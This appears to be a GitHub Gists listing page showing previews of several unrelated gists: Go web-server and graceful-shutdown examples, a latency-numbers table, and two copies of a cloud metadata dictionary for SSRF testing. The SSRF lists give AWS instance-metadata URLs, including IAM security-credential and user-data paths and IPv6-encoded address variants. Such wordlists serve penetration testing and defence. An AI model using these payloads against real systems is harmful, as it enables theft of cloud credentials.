kostanovych
jhaddix
/ cloud_metadata.txt
Last active
November 18, 2025 08:11
— forked from BuffaloWill/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
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| ## AWS | |
| # from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories | |
| http://169.254.169.254/latest/user-data | |
| http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] | |
| http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME] | |
| http://169.254.169.254/latest/meta-data/ami-id | |
| http://169.254.169.254/latest/meta-data/reservation-id | |
| http://169.254.169.254/latest/meta-data/hostname | |
| http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key |
enricofoltran
/ main.go
Last active
September 30, 2025 12:29
A simple golang web server with basic logging, tracing, health check, graceful shutdown and zero dependencies
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| package main | |
| import ( | |
| "context" | |
| "flag" | |
| "fmt" | |
| "log" | |
| "net/http" | |
| "os" | |
| "os/signal" |
peterhellberg
/ graceful.go
Last active
November 13, 2024 20:20
*http.Server in Go 1.8 supports graceful shutdown. This is a small example.
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| package main | |
| import ( | |
| "context" | |
| "log" | |
| "net/http" | |
| "os" | |
| "os/signal" | |
| "time" | |
| ) |
BuffaloWill
/ cloud_metadata.txt
Last active
October 30, 2025 17:29
Cloud Metadata Dictionary useful for SSRF Testing
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| ## IPv6 Tests | |
| http://[::ffff:169.254.169.254] | |
| http://[0:0:0:0:0:ffff:169.254.169.254] | |
| ## AWS | |
| # Amazon Web Services (No Header Required) | |
| # from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories | |
| http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy | |
| http://169.254.169.254/latest/user-data | |
| http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] |
jboner
/ latency.txt
Last active
November 20, 2025 19:54
Latency Numbers Every Programmer Should Know
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| Latency Comparison Numbers (~2012) | |
| ---------------------------------- | |
| L1 cache reference 0.5 ns | |
| Branch mispredict 5 ns | |
| L2 cache reference 7 ns 14x L1 cache | |
| Mutex lock/unlock 25 ns | |
| Main memory reference 100 ns 20x L2 cache, 200x L1 cache | |
| Compress 1K bytes with Zippy 3,000 ns 3 us | |
| Send 1K bytes over 1 Gbps network 10,000 ns 10 us | |
| Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD |